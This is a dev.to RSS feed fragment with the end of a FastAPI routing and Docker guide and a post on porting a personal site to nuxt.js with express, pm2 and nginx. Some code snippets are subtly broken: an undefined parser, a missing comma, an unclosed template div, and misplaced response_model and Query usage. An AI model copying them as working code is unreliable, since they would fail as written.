&lt;/code&gt;&lt;/pre&gt;

&lt;h2&gt;Routing and breaking up bigger APIs&lt;/h2&gt;

&lt;p&gt;You can use &lt;code&gt;APIRouter&lt;/code&gt; to break apart your api into routes. For example, I've got this in my API &lt;code&gt;app/routers/v1/__init__.py&lt;/code&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;from fastapi import APIRouter
from .user import router as user_router


router = APIRouter()

router.include_router(
    user_router,
    prefix='/user',
    tags=['users'],
)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Then you can use the users code from above in &lt;code&gt;app/routers/v1/user.py&lt;/code&gt; - just import &lt;code&gt;APIRouter&lt;/code&gt; and use &lt;code&gt;@router.get('/')&lt;/code&gt; instead of &lt;code&gt;@app.get('/user')&lt;/code&gt;. It'll automatically route to &lt;code&gt;/user/&lt;/code&gt; because the route is relative to the &lt;code&gt;prefix&lt;/code&gt;.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;from fastapi import APIRouter

router = APIRouter()


@router.get('/')
async def user(
    *,
    user_id: int = Query(..., title="The ID of the user to get", gt=0),
    response_model=User
):
  my_user = get_user(user_id)
  return my_user
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Finally, to use all your &lt;code&gt;v1&lt;/code&gt; routers in your app just edit &lt;code&gt;main.py&lt;/code&gt; to this:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;from fastapi import FastAPI
from app.routers import v1


app = FastAPI()

app.include_router(
    v1.router,
    prefix="/api/v1"
)&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;You can chain routers as much as you want in this way, allowing you to break up big applications and have versioned APIs&lt;/p&gt;

&lt;h2&gt;Dockerizing and Deploying&lt;/h2&gt;

&lt;p&gt;One of the things the author of fastapi has made surprisingly easy is Dockerizing! A default &lt;code&gt;Dockerfile&lt;/code&gt; is 2 lines!&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;FROM tiangolo/uvicorn-gunicorn-fastapi:python3.7

COPY ./app /app
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Want to dockerize for development with auto reload? This is the secret recipe I used in a compose file:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;version: "3"
services:
  test-api:
    build: ..
    entrypoint: '/start-reload.sh'
    ports:
        - 8080:80
    volumes:
        - ./:/app
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This will mount the current directory as &lt;code&gt;app&lt;/code&gt; and will automatically reload on any changes. You might also want to use &lt;code&gt;app/app&lt;/code&gt; instead for bigger apps.&lt;/p&gt;

&lt;h2&gt;Helpful links&lt;/h2&gt;

&lt;p&gt;All of this information came from &lt;a href="//fastapi.tiangolo.com/"&gt;the fastapi website&lt;/a&gt;, which has great documentation and I encourage you to read. Additionally, the author is very active and helpful on &lt;a href="//gitter.im/tiangolo/fastapi"&gt;Gitter&lt;/a&gt;!&lt;/p&gt;

&lt;h2&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;That's it for now - I hope this guide has been helpful and that you enjoy using fastapi as much as I do.&lt;/p&gt;

</description>
      <category>python</category>
      <category>fastapi</category>
      <category>async</category>
      <category>framework</category>
    </item>
    <item>
      <title>Porting my personal website to nuxt.js</title>
      <dc:creator>Erry Kostala</dc:creator>
      <pubDate>Sat, 19 Jan 2019 20:49:35 +0000</pubDate>
      <link>https://dev.to/errietta/porting-my-personal-website-to-nuxtjs-29p5</link>
      <guid>https://dev.to/errietta/porting-my-personal-website-to-nuxtjs-29p5</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fthepracticaldev.s3.amazonaws.com%2Fi%2Fww9tmuj1u7zx2ooebo73.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fthepracticaldev.s3.amazonaws.com%2Fi%2Fww9tmuj1u7zx2ooebo73.png" alt="Nuxt logo" width="798" height="335"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;My &lt;a href="https://www.errietta.me" rel="noopener noreferrer"&gt;personal website&lt;/a&gt; is one of the places where I can easily experiment, and it has been written and rewritten a few times. Having said that, laziness meant that it was stuck on its previous PHP-laravel implementation for a while.&lt;/p&gt;

&lt;p&gt;PHP was one of the first things I learned as a developer, and at the time I was learning some frameworks at University and thought Laravel was a decent way of organising my code.&lt;/p&gt;

&lt;p&gt;In the recent years I’ve been experimenting with newer technologies like node.js, and I believe server-side rendering of Single Page Apps gives you the best of both worlds in a way: the advantages in development speed, service workers, and frameworks for organising frontend code of SPAs and the SEO advantages of a server-rendered app&lt;/p&gt;

&lt;p&gt;In this case, I chose vue.js as it’s a lightweight and simple to use framework, and in particular nuxt.js which allows you to do Server-side rendering (SSR) with Vue.js and a server framework of choice such as express. Essentially, nuxt (vue SSR) is good old vue.js with the first page load being rendered on the server, so that search engines can still parse the content. Additionally, it’s easy to implement API routes to execute server-side code with node.js.&lt;/p&gt;

&lt;p&gt;In this article, I’ll explain how I achieved this for this website. Note that I do recommend looking into the basics of vue.js and node.js before reading this guide, as I will assume knowledge on them.&lt;/p&gt;

&lt;h2&gt;
  
  
  Creating the app
&lt;/h2&gt;

&lt;p&gt;The first thing to do is to install create-nuxt-app (&lt;code&gt;npm install -g create-nuxt-app&lt;/code&gt;). Then, we can use this to get the boilerplate for our app: &lt;code&gt;npx create-nuxt-app errietta.me-nuxt&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;If you observe the created directory, you’ll see… A lot of boilerplate!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1yixahj7ifb4csjwyo8r.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1yixahj7ifb4csjwyo8r.png" alt="Screenshot of directory structure" width="554" height="805"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Not all of those directories are needed, but it’s worth keeping them around until you know what you’ll need for your project.&lt;/p&gt;

&lt;h2&gt;
  
  
  The nuxt.js directories
&lt;/h2&gt;

&lt;p&gt;This is a quick introduction to the directories created by nuxt.js; feel free to skip this section if it’s not interesting to you.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;assets contains files such as svgs and images that are loaded by webpack’s file-loader. This means you can require them within your javascript code.&lt;/li&gt;
&lt;li&gt;* This is in contrast to the static directory, from which files will just be served by express as static files.&lt;/li&gt;
&lt;li&gt;components contains all the parts that make up a page, such as a Logo component, or a Paragraph component, or a BlogPost component. These are like the building blocks for your pages.&lt;/li&gt;
&lt;li&gt;layouts This is a way to create a wrapper or multiple wrappers around your page content, so that you can have common content around your page such as headers, footers, navbars, and so on.&lt;/li&gt;
&lt;li&gt;middleware is a way to run code before your pages are rendered. You may want to check if a user is authenticated, for example.&lt;/li&gt;
&lt;li&gt;pages is where the main code of your pages go. pages can fetch data via AJAX and load components. This is code that will be executed by both the client and server, so if you have code you only want to execute on the server, you want it accessible by an HTTP api that your pages code can use.&lt;/li&gt;
&lt;li&gt;plugins is a directory to include third party plugins.&lt;/li&gt;
&lt;li&gt;server is your express (or other framework) server code. You can just use the framework as normal, provided you keep the code that nuxt.js auto-injects, which takes care of the SSR for you. This is where you can create your APIs that will be accessed by either the server on page load or through AJAX by your SPA.&lt;/li&gt;
&lt;li&gt;store contains code for your VUEX store.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Developing the application
&lt;/h2&gt;

&lt;p&gt;Now that we know what the directories are about, it’s finally time to get our hands dirty. In the metaphorical sense, of course. Please don’t type with dirty hands… For my pages, it was mostly static content, so it was easy going. For example, index.vue is the default home page, and I started by standard vue.js code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;template&amp;gt;
  &amp;lt;div&amp;gt;
    &amp;lt;h1&amp;gt;Hello world!&amp;lt;/h1&amp;gt;
     Welcome to my website.
  &amp;lt;/div&amp;gt;
&amp;lt;/template&amp;gt;

&amp;lt;script&amp;gt;
export default {
  name: 'Index',
  components: { },
  props: { },
  asyncData( { } ) { }
  computed: { }
}
&amp;lt;/script&amp;gt;

&amp;lt;style scoped&amp;gt;
h1 {
  font-size: 200%;
}
&amp;lt;/style&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Nothing out of the ordinary so far. However, my website’s homepage continues the excerpts of my latest blog posts, and in order to retrieve that I want to parse my blog’s RSS. I wanted to do the actual work on the node.js server side, so that I can replace it by a proper API call later on if I wish. In this case, I could call this code from both client and server side, but there are cases that you want server side only code such as database connections, so this is a good example of it.&lt;/p&gt;

&lt;p&gt;What I mean by that is that the code to actually fetch the blog posts will always be executed by the node server. The SPA will simply load data from that server, either on load when it’s rendered, or by an HTTP request as explained earlier. &lt;/p&gt;

&lt;p&gt;Hopefully the below diagram explains what happens:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Case 1: initial page load

VUE SSR (node) --HTTP--&amp;gt; express api (node) --&amp;gt; blog RSS

# Case 2: content loaded by HTTP on SPA

VUE (browser)  --HTTP--&amp;gt; express api (node) --&amp;gt; blog RSS
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can therefore see that no matter the entry to the app, the business logic only exists and is executed on the node layer. My next step here was to create server/api/posts.js to create said business logic:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;const Parser = require('rss-parser')

const postsApi = async (req, res) =&amp;gt; {
  const posts =  await parser.parseURL('https://www.errietta.me/blog/feed')
  // transform data to a uniform format for my api
  return res.json(posts)
}

module.exports = postsApi
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is a simplified version, I have some more logic &lt;a href="https://github.com/errietta/errietta.me-nuxt/blob/master/server/api/posts.js" rel="noopener noreferrer"&gt;on github&lt;/a&gt; if you’re curious, but it doesn’t matter; the main point is that the retrieval of the data is done on nodejs. Now, we can add this route to &lt;code&gt;server/index.js&lt;/code&gt; before the &lt;code&gt;app.use(nuxt.render)&lt;/code&gt; line. This is because the nuxt middleware will handle all routes that are not handled by other middleware.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;  app.use('/api/posts', require('./api/posts'))
  app.use(nuxt.render)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now we simply need to call this API in the &lt;code&gt;asyncData&lt;/code&gt; section of our page. &lt;code&gt;asyncData&lt;/code&gt; is a nuxt function that is executed both on rendering the content on the server side and client side. We already have &lt;code&gt;asyncData&lt;/code&gt; in &lt;code&gt;index.vue&lt;/code&gt; so we can modify it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;  asyncData({ $axios }) {
    return $axios.get('api/posts').then(res =&amp;gt; ({ posts: res.data })).catch((e) =&amp;gt; {
      // eslint-disable-next-line
      console.log(e)
      return { posts: [] }
    })
  },
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note that we are getting &lt;code&gt;$axios&lt;/code&gt; from the object passed to the function. This is the nuxt.js axios plugin, which has special configuration to work with vue. It works the same way as a regular axios instance, so as you can see we are performing an HTTP request to our API. Note that this will perform an HTTP request no matter if it’s done through the server or client, but because the server-side request is done locally it should not impact performance.&lt;/p&gt;

&lt;p&gt;So far, the posts are not used anywhere. Let’s make a posts component in &lt;code&gt;components/Posts.vue&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;template&amp;gt;
  &amp;lt;div&amp;gt;
    &amp;lt;div v-for="item in posts" :key="item.id"&amp;gt;
      &amp;lt;h4&amp;gt;
        &amp;lt;a :href="item.link"&amp;gt;
          {{ item.title }}
        &amp;lt;/a&amp;gt;
      &amp;lt;/h4&amp;gt;
      &amp;lt;p v-html="item.content" /&amp;gt;
    &amp;lt;/div&amp;gt;
  &amp;lt;/div&amp;gt;
&amp;lt;/template&amp;gt;

&amp;lt;script&amp;gt;
export default {
  name: 'Posts',
  props: {
    posts: {
      type: Array,
      default: () =&amp;gt; []
    }
  }
}
&amp;lt;/script&amp;gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note: be careful with &lt;code&gt;v-html&lt;/code&gt;. In this case I somewhat trust my blog’s RSS, but otherwise this can be a field day for someone wanting to play around with XSS attacks. Either way, this is just a straight forward component that shows the post excerpt and a link to the post. All we have to do is include it in &lt;code&gt;index.vue&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Register the component:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import Posts from '../components/Posts.vue'

export default {
  name: 'Index',
  components: {
    'app-posts': Posts
  },
  ...
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then use it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;template&amp;gt;
  &amp;lt;div&amp;gt;
    &amp;lt;h1&amp;gt;Hello world!&amp;lt;/h1&amp;gt;
     Welcome to my website.
  &amp;lt;/div&amp;gt;
  &amp;lt;div&amp;gt;
    &amp;lt;h2&amp;gt;blog posts&amp;lt;/h2&amp;gt;
    &amp;lt;app-posts :posts="posts" /&amp;gt;
&amp;lt;/template&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note that we are binding &lt;code&gt;posts&lt;/code&gt; to the &lt;code&gt;posts&lt;/code&gt; property which comes from &lt;code&gt;asyncData&lt;/code&gt;. It works the exact same way as &lt;code&gt;data&lt;/code&gt;! If everything is done correctly you should be able to see the blog posts on your page. Congratulations, you’ve made your vue SSR app! Additionally, if you “view source” you will notice that the blog posts are already rendered on page load. No client side JS is actually required here, thanks to SSR!&lt;/p&gt;

&lt;h2&gt;
  
  
  Deploying
&lt;/h2&gt;

&lt;p&gt;As I mentioned, my website was an existing platform deployed on digital ocean behind nginx. Plus, it hosts my wordpress blog on the same domain, and I didn’t want to change either. Therefore, the node app had to sit behind nginx. It’s a good idea to have some sort of proxy in front of express anyway.&lt;/p&gt;

&lt;p&gt;I also use the node process manager, &lt;code&gt;pm2&lt;/code&gt; to background and fork the express process to use more than one cpu. This is my &lt;code&gt;ecosystem.config.js&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;module.exports = {
  apps: [{
    name: 'errietta.me',
    script: 'server/index.js',

    instances: 0,
    autorestart: true,
    watch: false,
    max_memory_restart: '1G',
    env: {
      NODE_ENV: 'production',
      HOST: '127.0.0.1',
      API_URL: 'https://www.errietta.me'
    }
  }]
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I was terrified about getting Ubuntu 14.04 to autostart my node app on system startup; I’d have to mess around with upstart or systemd and I’ve never been particularly good at those things. However, pm2 to the rescue! All I had to do was to run pm2 startup and follow the instructions and voila! My node app would auto start.&lt;/p&gt;

&lt;p&gt;I also followed &lt;a href="https://pm2.keymetrics.io/docs/tutorials/pm2-nginx-production-setup" rel="noopener noreferrer"&gt;this tutorial&lt;/a&gt; to set up the nginx reverse proxy.&lt;/p&gt;

&lt;p&gt;First step was to register the node server as an upstream:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;upstream my_nodejs_upstream {
    server 127.0.0.1:3000;
    keepalive 64;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As mentioned, I did want to preserve the php configuration of my blog, which ended up being surprisingly easy.&lt;/p&gt;

&lt;p&gt;I edited my already existing &lt;code&gt;server { }&lt;/code&gt; block and I kept this section:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;server {
    # other config...

    location /blog {
        index index.php index.html index.htm;

        if (-f $request_filename) {
            break;
        }

        if (-d $request_filename) {
            break;
        }

        location ~ \.php$ {
            fastcgi_pass 127.0.0.1:9000;
            fastcgi_index index.php;
            fastcgi_param SCRIPT_FILENAME /path/to/$fastcgi_script_name;
            include fastcgi_params;
        }

        rewrite ^(.+)$ /blog/index.php?q=$1 last;
        error_page  404  = /blog/index.php?q=$uri;
    }

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Before adding the section to proxy everything else to node:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;   location / {
      proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
      proxy_set_header Host $http_host;
      proxy_set_header X-NginX-Proxy true;
      proxy_http_version 1.1;
      proxy_set_header Upgrade $http_upgrade;
      proxy_set_header Connection "upgrade";
      proxy_max_temp_file_size 0;
      proxy_pass http://my_nodejs_upstream/;
      proxy_redirect off;
      proxy_read_timeout 240s;
    }

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And, we’re done – I had replaced my site’s php back-end with a node.js vue SSR backend and preserved the PHP parts I still needed, quite easily. I hope you enjoyed this account of how I initiated, developed, and deployed my website to its new vue-ssr home, and that it proves helpful in some way.&lt;/p&gt;

&lt;p&gt;Check out &lt;a href="https://github.com/errietta/errietta.me-nuxt" rel="noopener noreferrer"&gt;my github&lt;/a&gt; for the finished version.&lt;/p&gt;

</description>
      <category>nuxt</category>
      <category>vue</category>
      <category>node</category>
      <category>ssr</category>
    </item>
  </channel>
</rss>
